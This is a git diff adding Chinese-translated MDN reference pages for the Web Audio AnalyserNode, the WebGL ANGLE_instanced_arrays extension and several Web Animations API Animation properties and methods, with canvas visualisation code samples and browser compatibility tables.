下面的示例展示了一个 {{domxref("AudioContext")}}对象连接 {{domxref("MediaElementAudioSourceNode")}}到AnalyserNode对象的基本用法(即用AudioContext将音频内容连接到分析节点,从而可以展开对音频数据的分析). 当音频播放时, 我们使用 {{domxref("window.requestAnimationFrame()","requestAnimationFrame()")}}方法产生轮询从而不断地收集频率数据,进而在 {{htmlelement("canvas")}} 元素上绘制 winamp(windows上的一款MP3播放软件)条形图风格的频谱.

+ +

更多的应用示例和应用信息, 可以参看我们 Voice-change-O-matic-float-data 示例 (在 source code 同样有).

+ +
<!doctype html>
+<body>
+<script>
+const audioCtx = new AudioContext();
+
+//创建一个音频源
+//在示例中我们使用了一个音频文件,但其实这里也可以用麦克风输入
+const audioEle = new Audio();
+audioEle.src = 'my-audio.mp3';//这里是文件名
+audioEle.autoplay = true;
+audioEle.preload = 'auto';
+const audioSourceNode = audioCtx.createMediaElementSource(audioEle);
+
+//生成一个分析节点(analyser node)
+const analyserNode = audioCtx.createAnalyser();
+analyserNode.fftSize = 256;
+const bufferLength = analyserNode.frequencyBinCount;
+const dataArray = new Float32Array(bufferLength);
+
+//设置音频节点网络(音频源->分析节点->输出)
+audioSourceNode.connect(analyserNode);
+analyserNode.connect(audioCtx.destination);
+
+//生成 2D canvas
+const canvas = document.createElement('canvas');
+canvas.style.position = 'absolute';
+canvas.style.top = 0;
+canvas.style.left = 0;
+canvas.width = window.innerWidth;
+canvas.height = window.innerHeight;
+document.body.appendChild(canvas);
+const canvasCtx = canvas.getContext('2d');
+canvasCtx.clearRect(0, 0, canvas.width, canvas.height);
+
+
+function draw() {
+  //准备好下次重绘
+  requestAnimationFrame(draw);
+
+  //获取实时的频谱信息
+  analyserNode.getFloatFrequencyData(dataArray);
+
+  //画一个黑色的背景
+  canvasCtx.fillStyle = 'rgb(0, 0, 0)';
+  canvasCtx.fillRect(0, 0, canvas.width, canvas.height);
+
+  //绘制频谱
+  const barWidth = (canvas.width / bufferLength) * 2.5;
+  let posX = 0;
+  for (let i = 0; i < bufferLength; i++) {
+    const barHeight = (dataArray[i] + 140) * 2;
+    canvasCtx.fillStyle = 'rgb(' + Math.floor(barHeight + 100) + ', 50, 50)';
+    canvasCtx.fillRect(posX, canvas.height - barHeight / 2, barWidth, barHeight / 2);
+    posX += barWidth + 1;
+  }
+};
+
+draw();
+</script>
+</body>
+ +
+
+ +

规范

+ + + + + + + + + + + + + + +
规范StatusComment
{{SpecName('Web Audio API', '#widl-AnalyserNode-getFloatFrequencyData-void-Float32Array-array', 'getFloatFrequencyData()')}}{{Spec2('Web Audio API')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.AnalyserNode.getFloatFrequencyData")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/analysernode/index.html b/files/zh-cn/web/api/analysernode/index.html new file mode 100644 index 0000000000..00b6ff8de8 --- /dev/null +++ b/files/zh-cn/web/api/analysernode/index.html @@ -0,0 +1,185 @@ +--- +title: AnalyserNode +slug: Web/API/AnalyserNode +translation_of: Web/API/AnalyserNode +--- +

{{APIRef("Web Audio API")}}

+ +

 AnalyserNode 接口表示了一个可以提供实时频域和时域分析信息的节点。它是一个不对音频流作任何改动的 {{domxref("AudioNode")}},同时允许你获取和处理它生成的数据,从而创建音频可视化。

+ +

AnalyzerNode 只有一个输入和输出,即使未连接到输出它也能正常工作。

+ +

Without modifying the audio stream, the node allows to get the frequency and time-domain data associated to it, using a FFT.

+ + + + + + + + + + + + + + + + + + + + + + + + +
输入数1
输出数1 (但可能是未连接的)
通道计数模式"explicit"
通道数1
通道解释"speakers"
+ +

继承

+ +

继承自以下父接口:

+ +

{{InheritanceDiagram}}

+ +

构造函数

+ +
+
{{domxref("AnalyserNode.AnalyserNode", "AnalyserNode()")}}
+
创建一个新的 AnalyserNode 对象实例。
+
+ +

属性

+ +

继承属性自 {{domxref("AudioNode")}}。

+ +
+
{{domxref("AnalyserNode.fftSize")}}
+
一个无符号长整形(unsigned long)的值,代表了用于计算频域信号时使用的 FFT (快速傅里叶变换) 的窗口大小。
+
{{domxref("AnalyserNode.frequencyBinCount")}} {{readonlyInline}}
+
一个无符号长整形(unsigned long)的值, 值为fftSize的一半。这通常等于将要用于可视化的数据值的数量。
+
{{domxref("AnalyserNode.minDecibels")}}
+
是一个双精度值,表示FFT分析频域数据并转换为无符号字节值时,对输入的功率数据的最小阈值 - 基本上,它限定了调用getByteFrequencyData()时结果范围的最小值
+
{{domxref("AnalyserNode.maxDecibels")}}
+
+
是一个双精度值,表示FFT分析频域数据并转换为无符号字节值时,对输入的功率数据的最大阈值 - 基本上,它限定了调用getByteFrequencyData()时结果范围的最大值
+
{{domxref("AnalyserNode.smoothingTimeConstant")}}
+
是一个双精度浮点型(double)的值,表示最后一个分析帧的平均常数 — 基本上,它随时间使值之间的过渡更平滑。
+
+ +

方法

+ +

继承方法自 {{domxref("AudioNode")}}.

+ +
+
{{domxref("AnalyserNode.getFloatFrequencyData()")}}
+
将当前频域数据拷贝进{{domxref("Float32Array")}}数组。
+
+ +
+
{{domxref("AnalyserNode.getByteFrequencyData()")}}
+
将当前频域数据拷贝进{{domxref("Uint8Array")}}数组(无符号字节数组)。
+
+ +
+
{{domxref("AnalyserNode.getFloatTimeDomainData()")}}
+
将当前波形,或者时域数据拷贝进{{domxref("Float32Array")}}数组。
+
{{domxref("AnalyserNode.getByteTimeDomainData()")}}
+
将当前波形,或者时域数据拷贝进 {{domxref("Uint8Array")}}数组(无符号字节数组)。 
+
+ +

例子

+ +
+

注意:查看 Visualizations with Web Audio API 指南以获得更多关于创建音频可视化效果的信息。

+
+ +

基础用法

+ +

下面的例子展示了 {{domxref("AudioContext")}} 创建一个 AnalyserNode, 然后用 {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} 和 {{htmlelement("canvas")}} 去反复收集当前音频的时域数据, 并绘制为一个示波器风格的输出(频谱).

+ +

更多的例子/信息, 查看 Voice-change-O-matic 演示 (相关代码在 app.js 的 128行~205行).

+ +
var audioCtx = new(window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+
+// ...
+
+analyser.fftSize = 2048;
+var bufferLength = analyser.frequencyBinCount;
+var dataArray = new Uint8Array(bufferLength);
+analyser.getByteTimeDomainData(dataArray);
+
+// 获取ID为 "oscilloscope" 的画布
+var canvas = document.getElementById("oscilloscope");
+var canvasCtx = canvas.getContext("2d");
+
+// 绘制一个当前音频源的示波器
+
+function draw() {
+
+  drawVisual = requestAnimationFrame(draw);
+
+  analyser.getByteTimeDomainData(dataArray);
+
+  canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+  canvasCtx.fillRect(0, 0, canvas.width, canvas.height);
+
+  canvasCtx.lineWidth = 2;
+  canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+  canvasCtx.beginPath();
+
+  var sliceWidth = canvas.width * 1.0 / bufferLength;
+  var x = 0;
+
+  for (var i = 0; i < bufferLength; i++) {
+
+    var v = dataArray[i] / 128.0;
+    var y = v * canvas.height / 2;
+
+    if (i === 0) {
+      canvasCtx.moveTo(x, y);
+    } else {
+      canvasCtx.lineTo(x, y);
+    }
+
+    x += sliceWidth;
+  }
+
+  canvasCtx.lineTo(canvas.width, canvas.height / 2);
+  canvasCtx.stroke();
+};
+
+draw();
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-analysernode-interface', 'AnalyserNode')}}{{Spec2('Web Audio API')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.AnalyserNode")}}

+
+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/analysernode/smoothingtimeconstant/index.html b/files/zh-cn/web/api/analysernode/smoothingtimeconstant/index.html new file mode 100644 index 0000000000..4e9b92954e --- /dev/null +++ b/files/zh-cn/web/api/analysernode/smoothingtimeconstant/index.html @@ -0,0 +1,152 @@ +--- +title: AnalyserNode.smoothingTimeConstant +slug: Web/API/AnalyserNode/smoothingTimeConstant +translation_of: Web/API/AnalyserNode/smoothingTimeConstant +--- +

{{ APIRef("Web Audio API") }}

+ +

{{ domxref("AnalyserNode") }} 接口的 smoothingTimeConstant 属性是一个双精度浮点型(double)的值, 表示最后一个分析帧的平均常数. 它基本上是当前缓冲区和AnalyserNode处理的最后一个缓冲区之间的平均值, 并导致在值变化时随着时间推移得到一个更平滑的集合.

+ +

smoothingTimeConstant 属性的默认值为 0.8; 值的范围必须在 0 ~ 1 之间. 如果设置为0, 则不进行平均, 而值为1意味着 "在计算值时重叠上一个缓冲区和当前缓冲区相当多", 它基本上平滑了 {{domxref("AnalyserNode.getFloatFrequencyData")}}/{{domxref("AnalyserNode.getByteFrequencyData")}} 调用的变化.

+ +

在技术术语中, 我们应用一个 布莱克曼窗 并随着时间推移去平滑值. 大部分情况下, 默认值是较好的.

+ +
+

注意:  如果设置了 0~1 范围外的值, 将会抛出异常INDEX_SIZE_ERR.

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var analyser = audioCtx.createAnalyser();
+analyser.smoothingTimeConstant = 1;
+
+ +

值类型

+ +

双精度浮点型(double).

+ +

例子

+ +

下面的例子展示了 AudioContext 创建一个 AnalyserNode, 然后用 requestAnimationFrame 和 <canvas> 去反复收集当前音频的频率数据, 并绘制为一个柱状风格的输出(频谱).

+ +

更多的例子/信息, 查看 Voice-change-O-matic 演示 (相关代码在 app.js 的 128行~205行).

+ +

如果你对 smoothingTimeConstant() 的效果好奇, 可以尝试克隆上面的例子并设置 "analyser.smoothingTimeConstant = 0;" 代替. 你会发现值的变化更加快速.

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+analyser.minDecibels = -90;
+analyser.maxDecibels = -10;
+analyser.smoothingTimeConstant = 0.85;
+
+  ...
+
+analyser.fftSize = 256;
+var bufferLength = analyser.frequencyBinCount;
+console.log(bufferLength);
+var dataArray = new Uint8Array(bufferLength);
+
+canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+
+function draw() {
+  drawVisual = requestAnimationFrame(draw);
+
+  analyser.getByteFrequencyData(dataArray);
+
+  canvasCtx.fillStyle = 'rgb(0, 0, 0)';
+  canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+  var barWidth = (WIDTH / bufferLength) * 2.5;
+  var barHeight;
+  var x = 0;
+
+  for(var i = 0; i < bufferLength; i++) {
+    barHeight = dataArray[i];
+
+    canvasCtx.fillStyle = 'rgb(' + (barHeight+100) + ',50,50)';
+    canvasCtx.fillRect(x,HEIGHT-barHeight/2,barWidth,barHeight/2);
+
+    x += barWidth + 1;
+  }
+};
+
+draw();
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AnalyserNode-smoothingTimeConstant', 'smoothingTimeConstant')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/angle_instanced_arrays/index.html b/files/zh-cn/web/api/angle_instanced_arrays/index.html new file mode 100644 index 0000000000..8e4dcef4b5 --- /dev/null +++ b/files/zh-cn/web/api/angle_instanced_arrays/index.html @@ -0,0 +1,85 @@ +--- +title: ANGLE_instanced_arrays +slug: Web/API/ANGLE_instanced_arrays +translation_of: Web/API/ANGLE_instanced_arrays +--- +
{{APIRef("WebGL")}}
+ +
ANGLE_instanced_arrays属于 WebGL API 的一个扩展API,它允许多次绘制相同的对象或相似对象组,前提是它们共享相同的顶点数据、基本图形的个数和类型。
+ +
+ +
WebGL的扩展都能使用{{domxref("WebGLRenderingContext.getExtension()")}} 这个方法。更多详细信息,请参考 WebGL tutorial(WebGL使用教程)里的Using Extensions (使用扩展)
+ +
+ +
+

实用性: 这个扩展仅仅能使用在 {{domxref("WebGLRenderingContext", "WebGL1", "", 1)}} 上下文中。在 {{domxref("WebGL2RenderingContext", "WebGL2", "", 1)}},默认情况下这个扩展的在WebGL2的上下文中起作用,它的常量以及方法使用过程中没有“ANGEL”后缀。

+ +

尽管名字叫“ANGLE”,只要硬件支持,它可以运行在任意设备上,而不仅是在Windows上起作用。 "ANGLE"只是表明了这个扩展是被ANGLE这个库的作者书写的,并没有更多的含义。

+
+ +

常量

+ +

这个扩展提供了一个新常量,它能被 {{domxref("WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}} 这个方法所使用:

+ +
+
ext.VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE
+
当这个常量在{{domxref("WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}}中作为pname参数使用时,将返回一个用于实例渲染的频率因子{{domxref("GLint")}}。
+
+ +

方法

+ +

这个扩展提供了三个新的方法。

+ +
+
{{domxref("ANGLE_instanced_arrays.drawArraysInstancedANGLE()", "ext.drawArraysInstancedANGLE()")}}
+
+

作用与{{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} 相同,除了元素范围的多实例的执行以及每次迭代时的实例扩展。

+
+
{{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}
+
+

作用与{{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}相同,除了元素集中的多实例的计算以及每个集之间的实例扩展。

+
+
{{domxref("ANGLE_instanced_arrays.vertexAttribDivisorANGLE()", "ext.vertexAttribDivisorANGLE()")}}
+
当用{{domxref("ANGLE_instanced_arrays.drawArraysInstancedANGLE()", "ext.drawArraysInstancedANGLE()")}}和{{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}渲染基本图元的多实例时,会提升通用的顶点属性的速度。
+
+ +

示例

+ +

启用扩展:

+ +
var ext = gl.getExtension("ANGLE_instanced_arrays");
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ANGLE_instanced_arrays', '', 'ANGLE_instanced_arrays')}}{{Spec2('ANGLE_instanced_arrays')}}初始定义。
+ +

浏览器兼容性

+ + + +

{{Compat("api.ANGLE_instanced_arrays")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/animation/animation/index.html b/files/zh-cn/web/api/animation/animation/index.html new file mode 100644 index 0000000000..178bd25fcb --- /dev/null +++ b/files/zh-cn/web/api/animation/animation/index.html @@ -0,0 +1,106 @@ +--- +title: Animation.Animation() +slug: Web/API/Animation/Animation +translation_of: Web/API/Animation/Animation +--- +

{{ SeeCompatTable() }}{{ APIRef("Web Animations API") }}

+ +

Animation构造函数返回一个新的Animation对象实例。

+ +

语法

+ +
+
var animation = new Animation(effect, timeline);
+
+ +

参数

+ +
+
effect {{optional_inline}}
+
将{{domxref("KeyframeEffect")}}对象分配给动画。(在将来,其他类型的效果,如SequenceEffects或GroupEffects是可能被实现的,但现在,唯一的效果是KeyframeEffect。)
+
timeline {{optional_inline}}
+
指定与动画关联的时间轴。 (目前唯一可用的时间轴类型是{{domxref("DocumentTimeline")}},但在将来我会有与手势或滚动相关联的时间轴。)默认为{{domxref("Document.timeline")}}。 这也可以设置为null。
+
+ +

例子

+ +

White Rabbit示例中,Animation构造函数用于使用文档时间轴为兔子创建关键帧动画:

+ +
var rabbitDownAnimation = new Animation(rabbitDownKeyframes, document.timeline);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Animations', '#dom-animation-animation', 'animation()' )}}{{Spec2('Web Animations')}}Editor's draft.
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatGeckoDesktop(48)}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatGeckoMobile(48)}} [1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1]  {{domxref("KeyframeEffect")}} 和 {{domxref("DocumentTimeline")}} 接口目前在发行版本中是关闭的, 所以目前无法使用.

+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/animation/cancel/index.html b/files/zh-cn/web/api/animation/cancel/index.html new file mode 100644 index 0000000000..768e63f5fe --- /dev/null +++ b/files/zh-cn/web/api/animation/cancel/index.html @@ -0,0 +1,112 @@ +--- +title: Animation.cancel() +slug: Web/API/Animation/cancel +tags: + - Animation.cancel() +translation_of: Web/API/Animation/cancel +--- +

{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}

+ +

{{domxref("Animation")}} 接口的 Web动画API的 cancel() 方法将清除此动画造成的所有{{domxref("KeyframeEffect")}} ,并中止其播放。.

+ +
+

当一个动画被取消时,其  {{domxref("Animation.startTime", "startTime")}}  和{{domxref("Animation.currentTime", "currentTime")}} 被设置为null。

+
+ +

语法

+ +
Animation.cancel();
+ +

参数

+ +

无.

+ +

返回值

+ +

无.

+ +

异常

+ +

这个方法不会直接抛出异常; 但是,如果动画的 {{domxref("Animation.playState", "playState")}} 取消时是除了“空闲”之外的任何东西,{{domxref("Animation.finished", "current finished promise", "", 1)}} 被拒绝与一个 {{domxref("DOMException")}} 命名的AbortError.

+ +
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Animations', '#dom-animation-cancel', 'Animation.cancel()' )}}{{Spec2('Web Animations')}}Editor's draft.
+ +

浏览器兼容

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(39.0)}}{{CompatGeckoDesktop(48)}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile(48)}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] The Web Animations API is only enabled by default in Firefox Developer Edition and Nightly builds. You can enable it in beta and release builds by setting the preference dom.animations-api.core.enabled to true, and can disable it in any Firefox version by setting this preference to false.

+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/animation/currenttime/index.html b/files/zh-cn/web/api/animation/currenttime/index.html new file mode 100644 index 0000000000..25c3ca441d --- /dev/null +++ b/files/zh-cn/web/api/animation/currenttime/index.html @@ -0,0 +1,114 @@ +--- +title: Animation.currentTime +slug: Web/API/Animation/currentTime +tags: + - 动画 +translation_of: Web/API/Animation/currentTime +--- +

{{APIRef("Web Animations API")}}{{SeeCompatTable}}

+ +

Animation.currentTime属性返回或设置动画的当前时间值(以毫秒为单位),无论动画正在运行还是已暂停。

+ +

如果动画缺少{{domxref("AnimationTimeline", "timeline")}},处于非活动状态或尚未播放,则当前时间返回值为null。

+ +

语法

+ +
var currentTime = element.currentTime;
+element.currentTime = someValue;
+ +

+ +

表示当前时间的数字(以毫秒为单位),或为null。

+ +

例子

+ +

Drink Me/Eat Me game中,爱丽丝的高度是可变动的,所以它可以从小到大或从大到小。 在游戏开始时,通过将她的动画的currentTime设置为她的keyframeEffect的持续时间的一半让她的高度设置在两个极端之间:

+ +
aliceChange.currentTime = aliceChange.effect.timing.duration / 2;
+ +

寻求动画的50%标记的更通用的方法:

+ +
animation.currentTime =
+  animation.effect.getComputedTiming().delay +
+  animation.effect.getComputedTiming().activeDuration / 2;
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Web Animations', '#dom-animation-currenttime', 'currentTime')}}{{Spec2("Web Animations")}} 
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(39.0)}}{{CompatGeckoDesktop(48)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(39.0)}}{{CompatGeckoMobile(48)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(39.0)}}
+
+ +

 

+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/animation/effect/index.html b/files/zh-cn/web/api/animation/effect/index.html new file mode 100644 index 0000000000..4061f383e9 --- /dev/null +++ b/files/zh-cn/web/api/animation/effect/index.html @@ -0,0 +1,100 @@ +--- +title: Animation.effect +slug: Web/API/Animation/effect +translation_of: Web/API/Animation/effect +--- +

{{ SeeCompatTable() }} {{ APIRef("Web Animations API") }}

+ +

Animation.effect属性可以获取或设置动画的目标效果。 目标效果可以是{{domxref("KeyframeEffect")}}对象或null。

+ +

语法

+ +
+
// Get an Animation object's target effect
+var effect = animation.effect;
+
+// Set an Animation's target effect
+animation.effect = new KeyframeEffect({ opacity: [ 1, 0 ] }, 300);
+
+
+ +

+ +

{{domxref("KeyframeEffect")}}对象或null.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Animations', '#dom-animation-effect', 'Animation.effect' )}}{{Spec2('Web Animations')}}Editor's draft.
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

 

+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/animation/finish/index.html b/files/zh-cn/web/api/animation/finish/index.html new file mode 100644 index 0000000000..527c8f78ce --- /dev/null +++ b/files/zh-cn/web/api/animation/finish/index.html @@ -0,0 +1,97 @@ +--- +title: Animation.finish() +slug: Web/API/Animation/finish +tags: + - API + - Animation + - Finish + - Interface + - Methos + - Web Animations +translation_of: Web/API/Animation/finish +--- +

{{APIRef("Web Animations")}}{{SeeCompatTable}}

+ +
+

The finish() method of the Web Animations API's {{domxref("Animation")}} Interface sets the current playback time to the end of the animation corresponding to the current playback direction. That is, if the animation is playing forward, it sets the playback time to the length of the animation sequence, and if the animation is playing in reverse (having had its {{domxref("Animation.reverse", "reverse()")}} method called), it sets the playback time to 0.

+
+ +

语法

+ +
Animation.finish(); 
+ +

参数

+ +

None.

+ +

返回值

+ +

None.

+ +
+
+ +

异常

+ +
+
InvalidState
+
The player's playback rate is 0 or the animation's playback rate is greater than 0 and the end time of the animation is infinity.
+
+ +

例子

+ +

The following example shows how to use the finish() method and catch an InvalidState error.

+ +
interfaceElement.addEventListener("mousedown", function() {
+  try {
+    player.finish();
+  } catch(e if e instanceof InvalidState) {
+    console.log("finish() called on paused or finished animation.");
+  } catch(e);
+    logMyErrors(e); //pass exception object to error handler
+  }
+});
+
+ +

The following example finishes all the animations on a single element, regardless of their direction of playback.

+ +
elem.getAnimations().forEach(
+  function(animation){
+    return animation.finish();
+  }
+);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Animations', '#dom-animation-finish', 'finish()')}}{{Spec2("Web Animations")}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Animation.finish")}}

+
+ +

更多参考

+ + diff --git a/files/zh-cn/web/api/animation/finished/index.html b/files/zh-cn/web/api/animation/finished/index.html new file mode 100644 index 0000000000..b94e2d2d9b --- /dev/null +++ b/files/zh-cn/web/api/animation/finished/index.html @@ -0,0 +1,116 @@ +--- +title: Animation.finished +slug: Web/API/Animation/finished +translation_of: Web/API/Animation/finished +--- +

{{ SeeCompatTable() }}{{ APIRef("Web Animations API") }}

+ +

Animation.finished只读属性允许您返回动画的完成状态。

+ +
+

Note: The Promise is replaced with a new (pending) Promise object every time the animation leaves the finished play state.

+
+ +

语法

+ +
+
var animationsPromise = animation.finished;
+
+
+ +

+ +

一个Promise对象。

+ +

例子

+ +

以下代码会等到所有动画都完成,然后再移除它们处于活动状态的元素:

+ +
Promise.all(
+  elem.getAnimations().map(
+    function(animation) {
+      return animation.finished
+    }
+  )
+).then(
+  function() {
+    return elem.remove();
+  }
+);
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Animations', '#dom-animation-finished', 'Animation.finished' )}}{{Spec2('Web Animations')}}Editor's draft.
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

 

+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/animation/id/index.html b/files/zh-cn/web/api/animation/id/index.html new file mode 100644 index 0000000000..29e267b854 --- /dev/null +++ b/files/zh-cn/web/api/animation/id/index.html @@ -0,0 +1,109 @@ +--- +title: Animation.id +slug: Web/API/Animation/id +tags: + - 动画 +translation_of: Web/API/Animation/id +--- +

{{ SeeCompatTable() }}{{ APIRef("Web Animations API") }}

+ +

Web Animations API 的 Animation.id 属性可返回或设置用于识别某个动画的唯一标识.

+ +

获取与设置 animation.id

+ +
+
// 获取动画的 id
+var animationsId = animation.id;
+
+// 设置动画的 id
+animation.id = "newId";
+
+
+ +

返回值

+ +

当该动画已被分配 id, 返回一个 {{domxref("DOMString")}}, 当该动画未被分配 id 则返回 null.

+ +

示例

+ +

Follow the White Rabbit example 这个例子里, 你可以像下面的方式一样,为 rabbitDownAnimation 分配一个 id:

+ +
rabbitDownAnimation.effect.id = "rabbitGo";
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Web Animations', '#dom-animation-id', 'Animation.id' )}}{{Spec2('Web Animations')}}Editor's draft.
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(39.0)}}{{CompatGeckoDesktop(48)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(48)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

 

+ +

相关文档

+ + diff --git a/files/zh-cn/web/api/animation/index.html b/files/zh-cn/web/api/animation/index.html new file mode 100644 index 0000000000..0db1e9496b --- /dev/null +++ b/files/zh-cn/web/api/animation/index.html @@ -0,0 +1,112 @@ +--- +title: Animation +slug: Web/API/Animation +tags: + - Animation +translation_of: Web/API/Animation +--- +

{{ APIRef("Web Animations") }}{{SeeCompatTable}}

+ +

Web 动画 API动画接口表示一个单个动画播放器并且提供用于一个动画节点或源的回放控制和一个时间轴。

+ +

构造函数

+ +
+
{{domxref("Animation.Animation()", "Animation()")}}
+
创建一个新的Animation对象实例。
+
+ +

属性

+ +
+
{{domxref("Animation.currentTime")}}
+
动画的当前时间值(以毫秒为单位),无论是正在运行还是已暂停。 如果动画缺少{{domxref("AnimationTimeline", "timeline")}}或尚未播放,其值为null。
+
+ +
+
{{domxref("Animation.effect")}}
+
获取或设置与此动画相关联的{{domxref("KeyframeEffect")}}。
+
{{domxref("Animation.finished")}} {{readOnlyInline}}
+
返回此动画的当前完成的状态。
+
+ +
+
{{domxref("Animation.id")}}
+
获取或设置用于标识动画的字符串。
+
+ +
+
{{domxref("Animation.playState")}} {{readOnlyInline}}
+
返回描述动画播放状态的枚举值。
+
+ +
+
{{domxref("Animation.playbackRate")}}
+
返回或设置动画的播放速率。
+
+ +
+
{{domxref("Animation.ready")}} {{readOnlyInline}}
+
返回此动画的当前就绪状态。
+
{{domxref("Animation.startTime")}}
+
获取或设置动画播放应开始的预定时间。
+
{{domxref("Animation.timeline")}}
+
获取或设置与此动画相关联的{{domxref("AnimationTimeline", "timeline")}}。
+
+ +

 事件处理程序

+ +
+
{{domxref("Animation.oncancel")}}
+
获取并设置取消事件的事件处理程序。
+
{{domxref("Animation.onfinish")}}
+
获取并设置完成事件的事件处理程序。
+
+ +

方法

+ +
+
{{domxref("Animation.cancel()")}}
+
清除此动画的所有{{domxref("KeyframeEffect", "keyframeEffects")}},并中止播放。
+
+ +
+
{{domxref("Animation.finish()")}}
+
设置动画中止播放。
+
+ +
+
{{domxref("Animation.pause()")}}
+
